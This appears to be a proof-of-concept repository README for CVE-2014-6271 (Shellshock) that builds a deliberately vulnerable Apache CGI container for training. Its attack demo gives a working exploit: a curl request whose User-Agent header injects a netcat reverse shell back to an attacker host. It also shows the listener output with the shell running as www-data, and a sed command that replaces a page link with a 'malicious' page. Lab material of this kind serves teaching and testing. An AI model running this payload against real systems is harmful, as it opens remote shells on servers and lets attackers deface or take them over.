CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source

Associated Vulnerability

Description

This Repo is PoC environment of CVE-2014-6271(https://nvd.nist.gov/vuln/detail/cve-2014-6271).

Readme

# CVE-2014-6271-Apache-Debian

## Overview
This Repo is PoC environment of [CVE-2014-6271](https://nvd.nist.gov/vuln/detail/cve-2014-6271).  
You can deploy web service including vulernability using apache2 container image.  

## Preparation
### Image Build
Build insecure image from Dockerfile.

~~~
# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/
~~~

### Deploy PoC Container
**Docker**

Deploy PoC container as a docker container.  

~~~
# docker run -d -p 8080:80 training-website-poc:v1.0
~~~

**Kubernetes**

Deploy PoC container as a k8s pod and service.

~~~
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml
~~~

### Access PoC Web Service

After the deployment is completed, you can browse the web page by accessing the following URL with a browser.  
You can access the k8s lab environment by clicking the link "Click!" under the web page.  

**Docker**
~~~
http://<docker host IP>:8080
~~~

**Kubernetes**
~~~
http://<k8s service endpoint>:<k8s service port>
~~~

### Attack Demo
In this demo, you can change the web page from Attacker Host (outside of container) exploiting vulernability of `CVE-2014-6271`.  

Exec these commands from attacker host. 


Terminal 1
~~~
# nc -nvlp 5050
~~~

Terminal 2  
※In this case, we deploy PoC container using Docker. In case of Kubernetes, the URL should be `http://<k8s service endpoint>:<k8s service port>`.
~~~
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable
~~~

After that, you can see that the `/bin/bash` of the PoC container can be executed in the terminal 1.  

~~~
Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin
~~~

Change the link "Click!" of web page.  
In this case, we use dummy page for malicious link.  

~~~
sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html
~~~

Access the web page again and clicking the link "Click!" under the web page.  

~~~
http://<docker host IP>:8080
~~~

## Reference
https://github.com/hmlio/vaas-cve-2014-6271  
https://github.com/opsxcq/exploit-CVE-2014-6271  

File Snapshot

 [4.0K]  /data/pocs/1677cdb0d4dad9ee3ade7b97982ea8813857dc63
├── [4.0K]  insecure-base-image
│   ├── [ 373]  danger.html
│   ├── [ 850]  Dockerfile
│   ├── [4.0K]  packages
│   │   └── [1.4M]  bash_4.2%2Bdfsg-0.1_amd64.deb
│   └── [  61]  vulnerable
├── [2.3K]  README.md
├── [4.0K]  web-insecure
│   ├── [ 208]  Dockerfile
│   ├── [1.0K]  index.html
│   └── [4.0K]  k8s-manifest
│       ├── [ 215]  web-insecure-pod.yml
│       └── [ 179]  web-insecure-svc.yml
└── [4.0K]  web-secure
    ├── [ 196]  Dockerfile
    ├── [1.0K]  index.html
    └── [4.0K]  k8s-manifest
        ├── [ 713]  web-secure-pod.yml
        └── [ 175]  web-secure-svc.yml

6 directories, 13 files

Remarks